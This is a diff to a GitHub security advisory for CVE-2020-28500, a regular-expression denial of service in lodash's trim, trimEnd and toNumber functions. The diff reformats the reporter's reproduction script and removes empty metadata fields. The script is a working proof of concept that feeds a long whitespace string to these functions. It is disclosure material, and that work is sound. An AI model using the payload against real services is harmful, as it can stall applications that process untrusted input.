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[GHSA-29mw-wpgm-hmr9] Regular Expression Denial of Service (ReDoS) in lodash #2875

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[GHSA-29mw-wpgm-hmr9] Regular Expression Denial of Service (ReDoS) in lodash #2875

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24 changes: 2 additions & 22 deletions advisories/github-reviewed/2022/01/GHSA-29mw-wpgm-hmr9/GHSA-29mw-wpgm-hmr9.json
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Original file line number Diff line number Diff line change
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{
"schema_version": "1.4.0",
"id": "GHSA-29mw-wpgm-hmr9",
"modified": "2023-09-05T22:58:25Z",
"modified": "2023-10-18T22:34:24Z",
"published": "2022-01-06T20:30:46Z",
"aliases": [
"CVE-2020-28500"
],
"summary": "Regular Expression Denial of Service (ReDoS) in lodash",
"details": "All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. \n\nSteps to reproduce (provided by reporter Liyuan Chen):\n```js\nvar lo = require('lodash');\n\nfunction build_blank(n) {\n var ret = \"1\"\n for (var i = 0; i < n; i++) {\n ret += \" \"\n }\n return ret + \"1\";\n}\nvar s = build_blank(50000) var time0 = Date.now();\nlo.trim(s) var time_cost0 = Date.now() - time0;\nconsole.log(\"time_cost0: \" + time_cost0) var time1 = Date.now();\nlo.toNumber(s) var time_cost1 = Date.now() - time1;\nconsole.log(\"time_cost1: \" + time_cost1) var time2 = Date.now();\nlo.trimEnd(s) var time_cost2 = Date.now() - time2;\nconsole.log(\"time_cost2: \" + time_cost2)\n```",
"details": "All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. \n\nSteps to reproduce (provided by reporter Liyuan Chen):\n```js\nvar lo = require('lodash');\n\nfunction build_blank(n) {\n var ret = \"1\"\n for (var i = 0; i < n; i++) {\n ret += \" \"\n }\n return ret + \"1\";\n}\n\nvar s = build_blank(50000);\nvar time0 = Date.now();\nlo.trim(s);\nvar time_cost0 = Date.now() - time0;\nconsole.log(\"time_cost0: \" + time_cost0);\n\nvar time1 = Date.now();\nlo.toNumber(s);\nvar time_cost1 = Date.now() - time1;\nconsole.log(\"time_cost1: \" + time_cost1);\n\nvar time2 = Date.now();\nlo.trimEnd(s);\nvar time_cost2 = Date.now() - time2;\nconsole.log(\"time_cost2: \" + time_cost2);\n```",
"severity": [
{
"type": "CVSS_V3",
Expand All @@ -20,11 +20,6 @@
"ecosystem": "npm",
"name": "lodash"
},
"ecosystem_specific": {
"affected_functions": [
""
]
},
"ranges": [
{
"type": "ECOSYSTEM",
Expand All @@ -44,11 +39,6 @@
"ecosystem": "npm",
"name": "lodash-es"
},
"ecosystem_specific": {
"affected_functions": [
""
]
},
"ranges": [
{
"type": "ECOSYSTEM",
Expand All @@ -68,11 +58,6 @@
"ecosystem": "npm",
"name": "lodash.trimend"
},
"ecosystem_specific": {
"affected_functions": [
""
]
},
"ranges": [
{
"type": "ECOSYSTEM",
Expand All @@ -92,11 +77,6 @@
"ecosystem": "npm",
"name": "lodash.trim"
},
"ecosystem_specific": {
"affected_functions": [
""
]
},
"ranges": [
{
"type": "ECOSYSTEM",
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